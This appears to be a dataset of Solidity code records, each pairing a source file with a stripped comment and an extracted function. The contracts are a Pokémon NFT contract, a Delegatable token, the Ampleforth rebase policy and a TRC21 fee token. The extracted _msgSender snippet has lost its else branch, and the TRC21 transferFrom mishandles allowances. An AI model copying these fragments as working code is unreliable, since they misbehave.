PokemonBaseStats memory evs = PokemonBaseStats({hp: 0, def: 0, atk: 0, spa: 0, spd: 0, spe: 0, type1: type1, type2: type2, number: baseStats.number, pokemonName: pokemonName});
tokenIdToIvs[tokenId] = ivs;
tokenIdToEvs[tokenId] = evs;
}
function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override {
address owner = requestIdToSender[requestId];
// string memory tokenURI = pokemonToTokenURI[requestId];
uint256 tokenId = tokenCounter;
requestIdToTokenId[requestId] = tokenId;
_safeMint(owner, tokenId);
tokenIdToRNGNumber[tokenId] = randomNumber;
tokenCounter = tokenCounter + 1;
}
function updateCreatedPokemon(uint256 tokenId, string memory pokemonName) public onlyOwner {
uint256[] memory RNGNumbers = getManyRandomNumbers(tokenIdToRNGNumber[tokenId], 11);
// uint256 pokemonNameIndex = (RNGNumbers[7] % listOfPokemonNames.length);
// string memory pokemonName = listOfPokemonNames[pokemonNameIndex];
(string memory type1, string memory type2) = getTypeFromName(pokemonName);
string memory nature = natures[(RNGNumbers[8] % natures.length)];
bool shiny = false;
uint256 shinyRNG = (RNGNumbers[9] % 4096);
if (shinyRNG == 0){
shiny = true;
} else {
shiny = false;
}
uint256 level = (RNGNumbers[10] % 100) + 1;
uniquePokemon.push(
UniquePokemon(
{
nickname: pokemonName,
item: "None",
shiny: shiny,
ability: "None",
nature: nature,
level: level
}
)
);
setIvs(RNGNumbers, pokemonName, tokenId);
setBattleStats(pokemonName, tokenId);
emit PokemonCreated(tokenCounter);
}
function getTypeFromName(string memory pokemonName) public view returns (string memory, string memory){
PokemonBaseStats memory baseStats = pokemonNameToPokemonBaseStats[pokemonName];
return (baseStats.type1, baseStats.type2);
}
function setBattleStats(string memory pokemonName, uint256 tokenId) public onlyOwner{
// HP = floor(0.01 x (2 x Base + IV + floor(0.25 x EV)) x Level) + Level + 10
// we bump everything up by 100, then divide by 100 at the end
// Other Stats = floor(0.01 x (2 x Base + IV + floor(0.25 x EV)) x Level) + 5) x Nature
PokemonBaseStats storage battleStats = tokenIdToBattleStats[tokenId];
PokemonBaseStats storage baseStats = pokemonNameToPokemonBaseStats[pokemonName];
PokemonBaseStats storage ivs = tokenIdToIvs[tokenId];
PokemonBaseStats storage evs = tokenIdToEvs[tokenId];
UniquePokemon storage pokemon = uniquePokemon[tokenId];
battleStats.hp = getCalculatedHPStat( baseStats.hp, ivs.hp, evs.hp, pokemon.level);
battleStats.atk = getCalculatedStat( baseStats.atk, ivs.atk, evs.atk, pokemon.level); // We don't add the nature modifier!!!
battleStats.def = getCalculatedStat( baseStats.def, ivs.def, evs.def, pokemon.level); // We don't add the nature modifier!!!
battleStats.spa = getCalculatedStat( baseStats.spa, ivs.spa, evs.spa, pokemon.level); // We don't add the nature modifier!!!
battleStats.spd = getCalculatedStat( baseStats.spd, ivs.spd, evs.spd, pokemon.level); // We don't add the nature modifier!!!
battleStats.spe = getCalculatedStat( baseStats.spe, ivs.spe, evs.spe, pokemon.level); // We don't add the nature modifier!!!
battleStats.type1 = ivs.type1;
battleStats.type2 = ivs.type2;
battleStats.pokemonName = ivs.pokemonName;
battleStats.number = ivs.number;
}
function getCalculatedStat(uint256 baseStat, uint256 baseStatIv, uint256 baseStatEvs, uint256 level) public view returns (uint256){
// Other Stats = floor(0.01 x (2 x Base + IV + floor(0.25 x EV)) x Level) + 5) x Nature
// We haven't add the nature modifier!!!
return ((((2 * baseStat) + baseStatIv + (baseStatEvs / 4)) * level )/ 100) + 5;
}
function getCalculatedHPStat(uint256 baseStat, uint256 baseStatIv, uint256 baseStatEvs, uint256 level) public view returns (uint256){
// HP = floor(0.01 x (2 x Base + IV + floor(0.25 x EV)) x Level) + Level + 10
return ((((2 * baseStat) + baseStatIv + (baseStatEvs / 4)) * level )/ 100) + 10 + level;
}
// Could turn this into a chainlink API Call if we wanted
function setTokenURI(uint256 tokenId, string memory _tokenURI) public onlyOwner {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_setTokenURI(tokenId, _tokenURI);
}
function getManyRandomNumbers(uint256 randomValue, uint256 n) public pure returns (uint256[] memory expandedValues) {
expandedValues = new uint256[](n);
for (uint256 i = 0; i < n; i++) {
expandedValues[i] = uint256(keccak256(abi.encode(randomValue, i)));
}
return expandedValues;
}
// function setMoves(string memory move1, string memory move2,string memory move3,string memory move4, uint256 tokenId) public onlyOwner {
// uniquePokemon[tokenId].move1 = move1;
// uniquePokemon[tokenId].move2 = move1;
// uniquePokemon[tokenId].move3 = move1;
// uniquePokemon[tokenId].move4 = move1;
// }
}
|
Other Stats = floor(0.01 x (2 x Base + IV + floor(0.25 x EV)) x Level) + 5) x Nature We haven't add the nature modifier!!!
|
function getCalculatedStat(uint256 baseStat, uint256 baseStatIv, uint256 baseStatEvs, uint256 level) public view returns (uint256){
return ((((2 * baseStat) + baseStatIv + (baseStatEvs / 4)) * level )/ 100) + 5;
}
| 15,787,891
|
pragma solidity ^0.8.13;
//SPDX-License-Identifier: MIT
import "../Delegatable.sol";
import "@openzeppelin/contracts/access/Ownable.sol"; //https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract DelegatableToken is ERC20, Ownable, Delegatable {
constructor(string memory name, string memory symbol, uint256 amount) Delegatable(name, "1") ERC20(name, symbol) {
_mint(msg.sender, amount);
}
/**
* This is boilerplate that must be added to any Delegatable contract if it also inherits
* from another class that also implements _msgSender().
*/
function _msgSender () internal view override(Delegatable, Context) returns (address sender) {
if(msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
} else {
sender = msg.sender;
}
return sender;
}
}
|
This is boilerplate that must be added to any Delegatable contract if it also inherits from another class that also implements _msgSender()./ Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
|
function _msgSender () internal view override(Delegatable, Context) returns (address sender) {
if(msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
sender = msg.sender;
}
return sender;
}
| 12,890,862
|
pragma solidity 0.7.6;
import "./_external/SafeMath.sol";
import "./_external/Ownable.sol";
import "./lib/SafeMathInt.sol";
import "./lib/UInt256Lib.sol";
interface IUFragments {
function totalSupply() external view returns (uint256);
function rebase(uint256 epoch, int256 supplyDelta) external returns (uint256);
}
interface IOracle {
function getData() external returns (uint256, bool);
}
/**
* @title uFragments Monetary Supply Policy
* @dev This is an implementation of the uFragments Ideal Money protocol.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/
contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IUFragments public uFrags;
// Provides the current CPI, as an 18 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
// (eg) An oracle value of 1.5e18 it would mean 1 Ample is trading for $1.50.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The rebase window begins this many seconds into the minRebaseTimeInterval period.
// For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds.
uint256 public rebaseWindowOffsetSec;
// The length of the time window where a rebase operation is allowed to execute, in seconds.
uint256 public rebaseWindowLengthSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = uint256(type(int256).max) / MAX_RATE;
// This module orchestrates the rebase execution and downstream notification.
address public orchestrator;
modifier onlyOrchestrator() {
require(msg.sender == orchestrator);
_;
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*/
function rebase() external onlyOrchestrator {
require(inRebaseWindow());
// This comparison also ensures there is no reentrancy.
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < block.timestamp);
// Snap the rebase time to the start of this window.
lastRebaseTimestampSec = block
.timestamp
.sub(block.timestamp.mod(minRebaseTimeIntervalSec))
.add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10**DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, block.timestamp);
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_) external onlyOwner {
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_) external onlyOwner {
marketOracle = marketOracle_;
}
/**
* @notice Sets the reference to the orchestrator.
* @param orchestrator_ The address of the orchestrator contract.
*/
function setOrchestrator(address orchestrator_) external onlyOwner {
orchestrator = orchestrator_;
}
/**
* @notice Sets the deviation threshold fraction. If the exchange rate given by the market
* oracle is within this fractional distance from the targetRate, then no supply
* modifications are made. DECIMALS fixed point number.
* @param deviationThreshold_ The new exchange rate threshold fraction.
*/
function setDeviationThreshold(uint256 deviationThreshold_) external onlyOwner {
deviationThreshold = deviationThreshold_;
}
/**
* @notice Sets the rebase lag parameter.
It is used to dampen the applied supply adjustment by 1 / rebaseLag
If the rebase lag R, equals 1, the smallest value for R, then the full supply
correction is applied on each rebase cycle.
If it is greater than 1, then a correction of 1/R of is applied on each rebase.
* @param rebaseLag_ The new rebase lag parameter.
*/
function setRebaseLag(uint256 rebaseLag_) external onlyOwner {
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
/**
* @notice Sets the parameters which control the timing and frequency of
* rebase operations.
* a) the minimum time period that must elapse between rebase cycles.
* b) the rebase window offset parameter.
* c) the rebase window length parameter.
* @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase
* operations, in seconds.
* @param rebaseWindowOffsetSec_ The number of seconds from the beginning of
the rebase interval, where the rebase window begins.
* @param rebaseWindowLengthSec_ The length of the rebase window in seconds.
*/
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_
) external onlyOwner {
require(minRebaseTimeIntervalSec_ > 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
/**
* @notice A multi-chain AMPL interface method. The Ampleforth monetary policy contract
* on the base-chain and XC-AmpleController contracts on the satellite-chains
* implement this method. It atomically returns two values:
* what the current contract believes to be,
* the globalAmpleforthEpoch and globalAMPLSupply.
* @return globalAmpleforthEpoch The current epoch number.
* @return globalAMPLSupply The total supply at the current epoch.
*/
function globalAmpleforthEpochAndAMPLSupply() external view returns (uint256, uint256) {
return (epoch, uFrags.totalSupply());
}
/**
* @dev ZOS upgradable contract initialization method.
* It is called at the time of contract creation to invoke parent class initializers and
* initialize the contract's state variables.
*/
function initialize(
address owner_,
IUFragments uFrags_,
uint256 baseCpi_
) public initializer {
Ownable.initialize(owner_);
// deviationThreshold = 0.05e18 = 5e16
deviationThreshold = 5 * 10**(DECIMALS - 2);
rebaseLag = 30;
minRebaseTimeIntervalSec = 1 days;
rebaseWindowOffsetSec = 72000; // 8PM UTC
rebaseWindowLengthSec = 15 minutes;
lastRebaseTimestampSec = 0;
epoch = 0;
uFrags = uFrags_;
baseCpi = baseCpi_;
}
/**
* @return If the latest block timestamp is within the rebase time window it, returns true.
* Otherwise, returns false.
*/
function inRebaseWindow() public view returns (bool) {
return (block.timestamp.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
block.timestamp.mod(minRebaseTimeIntervalSec) <
(rebaseWindowOffsetSec.add(rebaseWindowLengthSec)));
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) {
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return
uFrags.totalSupply().toInt256Safe().mul(rate.toInt256Safe().sub(targetRateSigned)).div(
targetRateSigned
);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold).div(10**DECIMALS);
return
(rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) ||
(rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
}
pragma solidity 0.7.6;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.7.6;
import "./Initializable.sol";
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function initialize(address sender) public virtual initializer {
_owner = sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity 0.7.6;
/**
* @title SafeMathInt
* @dev Math operations for int256 with overflow safety checks.
*/
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
pragma solidity 0.7.6;
/**
* @title Various utilities useful for uint256.
*/
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a) internal pure returns (int256) {
require(a <= MAX_INT256);
return int256(a);
}
}
pragma solidity 0.7.6;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(
initializing || isConstructor() || !initialized,
"Contract instance has already been initialized"
);
bool wasInitializing = initializing;
initializing = true;
initialized = true;
_;
initializing = wasInitializing;
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
// MINOR CHANGE HERE:
// previous code
// uint256 cs;
// assembly { cs := extcodesize(address) }
// return cs == 0;
// current code
address _self = address(this);
uint256 cs;
assembly {
cs := extcodesize(_self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
|
Initiates a new rebase operation, provided the minimum time period has elapsed. The supply adjustment equals (_totalSupply DeviationFromTargetRate) / rebaseLag Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate and targetRate is CpiOracleRate / baseCpi/ This comparison also ensures there is no reentrancy. Snap the rebase time to the start of this window.
|
function rebase() external onlyOrchestrator {
require(inRebaseWindow());
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < block.timestamp);
lastRebaseTimestampSec = block
.timestamp
.sub(block.timestamp.mod(minRebaseTimeIntervalSec))
.add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10**DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, block.timestamp);
}
| 225,728
|
./full_match/5/0xa95955f98aA19F2DeA68501028f60925dfDD9bf1/sources/browser/Untitled.sol
|
Gets the controller from an Id. _id id of a Data Request from which we get the controller. If the id is bigger than the lastId of a Controller, read the result in that Controller
|
function getController(uint256 _id) internal view returns(address _controllerAddress, uint256 _offset) {
uint256 n = controllers.length;
for (uint i = n; i > 0; i--) {
if (_id > controllers[i - 1].lastId) {
return (controllers[i - 1].controllerAddress, controllers[i - 1].lastId);
}
}
}
| 1,883,352
|
pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title TRC21 interface
*/
interface ITRC21 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function issuer() external view returns (address);
function decimals() external view returns (uint8);
function estimateFee(uint256 value) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Fee(address indexed from, address indexed to, address indexed issuer, uint256 value);
}
/**
* @title Standard TRC21 token
* @dev Implementation of the basic standard token.
*/
contract TRC21 is ITRC21 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
uint256 private _minFee;
address private _issuer;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev The amount fee that will be lost when transferring.
*/
function minFee() public view returns (uint256) {
return _minFee;
}
/**
* @dev token's foundation
*/
function issuer() public view returns (address) {
return _issuer;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Estimate transaction fee.
* @param value amount tokens sent
*/
function estimateFee(uint256 value) public view returns (uint256) {
return value.mul(0).add(_minFee);
}
function setMinFee(uint256 value) public {
require(msg.sender == _issuer);
_changeMinFee(value);
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner,address spender) public view returns (uint256){
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(to != address(0));
uint256 total = value.add(_minFee);
require(total <= _balances[msg.sender]);
_transfer(msg.sender, to, value);
if (_minFee > 0) {
_transfer(msg.sender, _issuer, _minFee);
emit Fee(msg.sender, to, _issuer, _minFee);
}
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
require(_balances[msg.sender] >= _minFee);
_allowed[msg.sender][spender] = value;
_transfer(msg.sender, _issuer, _minFee);
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
uint256 total = value.add(_minFee);
require(total <= _balances[from]);
require(value <= _allowed[from][msg.sender]); //msg.sender should be allowed to transfer maximum of value amount
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(total);
_transfer(from, to, value);
_transfer(from, _issuer, _minFee);
emit Fee(msg.sender, to, _issuer, _minFee);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Transfers token's foundation to new issuer
* @param newIssuer The address to transfer ownership to.
*/
function _changeIssuer(address newIssuer) internal {
require(newIssuer != address(0));
_issuer = newIssuer;
}
/**
* @dev Change minFee
* @param value minFee
*/
function _changeMinFee(uint256 value) internal {
_minFee = value;
}
}
//Wrap token based on multisig wallet that only mints new token if there are user deposits
